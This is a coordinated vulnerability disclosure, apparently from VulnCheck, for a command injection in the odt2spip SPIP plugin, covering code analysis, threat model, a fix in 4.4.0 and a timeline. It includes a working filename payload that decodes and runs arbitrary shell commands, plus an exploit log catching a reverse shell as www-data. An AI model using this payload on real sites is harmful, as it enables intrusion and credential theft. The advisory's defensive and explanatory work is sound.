Summary
VulnCheck is disclosing CVE-2026-104085, an OS command injection in odt2spip, a document-import plugin for the SPIP CMS. The plugin lets an author import an office document (.odt, .doc, .docx, .html) into an article. It moves the uploaded file to a path built from the raw client-supplied filename, then hands that path to LibreOffice through a shell command. The filename is concatenated into that command with almost no escaping, so a filename carrying shell metacharacters runs arbitrary commands as the web server user (CWE-78).
odt2spip is a SPIP contrib plugin (prefix odt2spip). The import form is shown to any author who can create or modify an article, which in SPIP is the ordinary redacteur role, not an administrator and not an anonymous visitor. So this is a low-privilege-to-RCE escalation: on any multi-author SPIP site, an account that can only write articles turns into code execution on the host.
VulnCheck is disclosing this vulnerability in accordance with its coordinated vulnerability disclosure policy.
Affected: odt2spip up to and including 4.3.0. The plugin declares a dependency on the saisies plugin, and the host must have a libreoffice binary resolvable on the conversion path.
Fixed: 4.4.0, released 2026-10-07. The fix is verified in source (see Remediation).
Reachability and impact: the attacker needs a low-privileged authenticated account (redacteur). From there a single uploaded document gives remote code execution as the web server user, with no further interaction. CVSS 3.1 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
The vulnerability
Two pieces combine: where the filename comes from, and where it ends up.
The destination path is built in inc/odt2spip.php, in odt2spip_deplacer_fichier_upload (odt2spip.php:168). It takes the client-supplied upload name, runs addslashes() on it, appends it to the temporary directory, and returns that path:
or !($fichier = $rep_dezip . addslashes($_FILES[$key]['name']))
... deplacer_fichier_upload($_FILES[$key]['tmp_name'], $fichier, true);
addslashes() escapes only ', ", \, and NUL. Every other shell metacharacter, including $, (, ), `, ;, |, &, <, >, passes through untouched.
That path then reaches the shell. inc/libreoffice.php builds the LibreOffice conversion command in createCommand and runs it in execute. The filename is appended to the command string with only spaces escaped (libreoffice.php:95), then the whole string is passed to exec() (libreoffice.php:61):
public function createCommand() {
... // libreoffice --headless --convert-to <fmt> --outdir <dir>
$command .= ' ' . str_replace(' ', '\ ', $this->fichier); // only spaces escaped
$command = 'export HOME=' . realpath($home) . '; ' . $command;
return $command;
}
public function execute() {
exec($command, $output, $err); // sink
}
The reason it round-trips reliably is that SPIP's upload handling keeps shell metacharacters in the on-disk filename: it only strips the directory part on / (a basename), so names like a;b.docx, a`b.docx, a$b.docx, and a(b).docx all land on disk verbatim. Because the returned path is addslashes($name), a name with no / equals the on-disk path, so the file_exists() guard in the conversion path passes and exec() runs. A filename such as x$(id).docx injects id.
Exploitation
The import form is a standard SPIP CVT form in the private space, reached as a redacteur. odt2spip_pipelines.php adds it to both the "create article under a rubrique" and the "modify article" views, gated by autoriser('ecrire') and autoriser('modifier', 'article', ...) (odt2spip_pipelines.php:45), both of which an ordinary author holds. The attacker submits the form with a crafted filename.
The filename cannot contain / (basename), ', ", \ (addslashes), or a literal space (turned into \ ). To run an arbitrary command inside those limits, the command is base32-encoded and the filename decodes and runs it, using ${IFS} in place of spaces:
x$(echo${IFS}<BASE32>|base32${IFS}-d|sh).docx
The accepted extension has to be a non-.odt one (.doc, .docx, .html) so the LibreOffice conversion path runs rather than the native-ODT path. The command runs as the web server user during the conversion step.
VulnCheck's go-exploit module for CVE-2026-104085 drives the whole chain: it authenticates to the private space, locates the odt2spip import form, delivers the crafted filename, and catches a reverse shell as www-data:
chocapikk@pwntoaster:~/feed/cve-2026-104085$ ./build/cve-2026-104085_linux-amd64 -e -c2 SimpleShellServer -lhost 172.27.0.1 -lport 4444 -rhost 172.27.0.3 -rport 80 -username admin -password 'Admin123!' -rubrique 1
time=2026-10-12T13:20:49.030+02:00 level=STATUS msg="Starting listener on 172.27.0.1:4444"
time=2026-10-12T13:20:49.031+02:00 level=STATUS msg="Starting target" index=0 host=172.27.0.3 port=80 ssl=false "ssl auto"=false
time=2026-10-12T13:20:49.284+02:00 level=SUCCESS msg="Authenticated to the SPIP private space as admin"
time=2026-10-12T13:20:49.363+02:00 level=STATUS msg="Located the document2spip import form"
time=2026-10-12T13:20:49.391+02:00 level=SUCCESS msg="Caught new shell from 172.27.0.3:40476"
time=2026-10-12T13:20:49.391+02:00 level=STATUS msg="Active shell from 172.27.0.3:40476"
time=2026-10-12T13:20:49.463+02:00 level=STATUS msg="Delivered the filename payload through the document import"
time=2026-10-12T13:20:49.464+02:00 level=STATUS msg="Waiting a maximum of 8 seconds for shell"
time=2026-10-12T13:20:49.464+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux 88c1837510df 7.0.0-34-generic #34-Ubuntu SMP PREEMPT_DYNAMIC Wed Sep 2 14:29:37 UTC 2026 x86_64 GNU/Linux
exit
Note on reproduction
This was confirmed end to end against SPIP 4.4.25 with saisies 6.4.0 and odt2spip 4.3.0 on PHP 8.2, in a Docker lab. The lab uses a libreoffice stub, because the injection is in how the plugin builds its command, not in LibreOffice: any binary that resolves as libreoffice on the conversion path triggers the same exec().
Reachability and threat model
- Low-privilege, authenticated. The attacker needs a
redacteuraccount, the base author role in SPIP. It is not anonymous: a private-space session is required. On a site that accepts author registrations, or where an attacker already holds any author credential, that bar is low. - Multi-author sites. SPIP is built around multiple authors contributing articles. The plugin exposes the import form to every one of them, so any author account is a path to code execution on the host.
- Not internet-fingerprintable as a vulnerable surface. The injection lives behind authentication on the private-space import form, so there is no unauthenticated banner that marks a site as vulnerable. The exposure is the installed plugin plus author access, not an external scan hit.
Impact
Successful exploitation is remote code execution as the web server user, reachable by any authenticated author. From there an attacker has write access to the web root, the SPIP database credentials in config/connect.php, the ability to drop a webshell, and a foothold to move laterally. For a CMS whose whole point is letting many people write content, a write-only account reaching code execution is a significant trust-boundary break.
Remediation
Upgrade to odt2spip 4.4.0. The fix rewrites the command construction so the filename is no longer parsed by a shell: createCommand now returns an argument array (array($binary) plus each parameter and the filename as separate elements), and execute runs it with proc_open($command, ...). On PHP 7.4 and later, the array form of proc_open executes the program directly without /bin/sh -c, so the filename is passed as a single literal argument and its metacharacters are never interpreted. That closes the injection at the sink.
For anyone who cannot upgrade immediately, deactivate odt2spip. Restricting who holds author accounts reduces exposure but does not remove it, since any author can reach the form.
Timeline
| Date | Event |
|---|---|
| 2026-10-03 | Vulnerability reported to VulnCheck; CVE requested through the VulnCheck CNA |
| 2026-10-06 | VulnCheck opened coordinated-disclosure outreach to the SPIP Security team; CVE-2026-104085 assigned (120-day deadline: 2027-02-03) |
| 2026-10-07 | odt2spip 4.4.0 released, addressing the issue |
| 2026-10-13 | CVE-2026-104085 published |
| 2026-10-16 | This disclosure |
The vendor shipped a fix within four days of the disclosure outreach, well inside the 120-day coordinated-disclosure window. Disclosure proceeds per VulnCheck's coordinated disclosure policy.
Takeaways
This is a classic shell-string injection: a value an attacker controls, the uploaded filename, concatenated into a command and handed to exec(), with escaping that only covered spaces and quotes. The specific detail worth keeping is that there were two layers that each looked like they sanitized the input, addslashes() on the name and a space-escape in the command, and neither touched the characters that matter for a shell. Partial escaping reads as protection and is not. The correct fix is the one the maintainer shipped: never build a shell string at all, pass an argument array to proc_open so arguments are never re-parsed. For operators, the action is to upgrade to odt2spip 4.4.0, and until then treat any author account as able to run code on the host.
About VulnCheck
VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.
Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.
To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.